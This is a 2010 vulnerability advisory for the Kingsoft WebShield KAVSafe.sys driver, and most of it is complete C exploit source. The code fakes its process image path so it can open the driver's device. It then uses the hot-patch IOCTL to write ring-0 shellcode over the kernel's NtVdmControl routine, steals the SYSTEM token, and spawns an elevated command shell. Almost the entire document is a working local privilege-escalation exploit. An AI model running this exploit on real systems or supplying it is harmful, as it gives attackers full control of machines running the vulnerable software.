Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege Escalation Vulnerability VULNERABLE PRODUCTS Kingsoft WebShield <= 3.5.1.2 (2010.5.23) Signature Date: 2010-5-23 2:33:54 And KAVSafe.sys <= 2010.4.14.609 Signature Date:2010-4-14 13:42:26 DETAILS: Kavsafe.sys create a device called \Device\KAVSafe , and handles DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data EXPLOIT CODE: #define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS) typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength ); typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING; typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; // ProcessParameters UNICODE_STRING DllPath; // ProcessParameters UNICODE_STRING ImagePathName; // ProcessParameters UNICODE_STRING CommandLine; // ProcessParameters PVOID Environment; // NtAllocateVirtualMemory ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; // ProcessParameters UNICODE_STRING DesktopInfo; // ProcessParameters UNICODE_STRING ShellInfo; // ProcessParameters UNICODE_STRING RuntimeData; // ProcessParameters RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ]; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB { BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the BOOLEAN ReadImageFileExecOptions; // BOOLEAN BeingDebugged; // BOOLEAN SpareBool; // HANDLE Mutant; // INITIAL_PEB structure is also updated. PVOID ImageBaseAddress; PVOID Ldr; struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters; } PEB, *PPEB; typedef LONG KPRIORITY; typedef struct _PROCESS_BASIC_INFORMATION { LONG ExitStatus; PVOID PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION; typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) ( LONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) typedef LONG (WINAPI *PNT_VDM_CONTROL) ( ULONG Service, PVOID ServiceData ); VOID __declspec(naked) R0ShellCodeXP() { __asm { mov eax,0xffdff124 mov eax,[eax] mov esi ,dword ptr[eax+0x220] mov eax,esi searchxp: mov eax,dword ptr[eax+0x88] sub eax,0x88 mov edx,dword ptr[eax+0x84] cmp edx,4 jnz searchxp mov eax,dword ptr[eax+0xc8] mov dword ptr[esi + 0xc8] , eax ret 8 } } VOID NopNop() { printf("nop!\n"); } #include "malloc.h" int main(int argc, char* argv[]) { printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n" "Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n" "2010-5-23\n" "By Lincoin \n\nPress Enter"); HKEY hkey ; WCHAR InstallPath[MAX_PATH]; DWORD datatype ; DWORD datasize = MAX_PATH * sizeof(WCHAR); ULONG oldlen ; PVOID pOldBufferData = NULL ; if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS) { if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS) { RegCloseKey(hkey); printf("KSWebShield not installed\n"); getchar(); return 0 ; } RegCloseKey(hkey); } else { printf("KSWebShield not installed\n"); getchar(); return 0 ; } wcscat(InstallPath , L"\\kavinst.exe"); PROCESS_BASIC_INFORMATION pbi ; PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ; pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess"); pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL); PPEB peb ; peb = (PPEB)pbi.PebBaseAddress; oldlen = peb->ProcessParameters->ImagePathName.Length; peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR); pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length); RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length); RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length ); HANDLE hdev = CreateFile("\\\\.\\KAVSafe" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0, OPEN_EXISTING , 0, 0); if (hdev==INVALID_HANDLE_VALUE) { printf("cannot open device %u\n", GetLastError()); getchar(); return 0 ; } RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length); peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ; PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation ; pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation"); X_SYSTEM_MODULE_INFORMATION sysmod ; HMODULE KernelHandle ; pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL); KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1); if (KernelHandle == 0 ) { printf("cannot load ntoskrnl!\n"); getchar(); return 0 ; } PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl"); if (pNtVdmControl == 0 ) { printf("cannot find NtVdmControl!\n"); getchar(); return 0 ; } pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle ); printf("NtVdmControl = %08x" , pNtVdmControl ); getchar(); ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP; ULONG pShellCode = (ULONG)R0ShellCodeXP; PVOID Data = malloc(0x48 + ShellCodeSize); CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize); CHAR ModuleName[68]= "ntoskrnl.exe" ; RtlCopyMemory( Data , ModuleName , sizeof(ModuleName)); *(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl; *(ULONG*)((ULONG)Data + 68) = ShellCodeSize ; ULONG btr ; if (!DeviceIoControl(hdev , IOCTL_HOTPATCH_KERNEL_MODULE , Data , 0x48 + ShellCodeSize , NULL , 0, &btr , 0 )) { printf("cannot device io control!%u\n" , GetLastError()); getchar(); return 0; } CloseHandle(hdev); PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl"); pR3NtVdmControl(0,0); WinExec("cmd.exe" , SW_SHOW); printf("OK!\n "); getchar(); return 0; }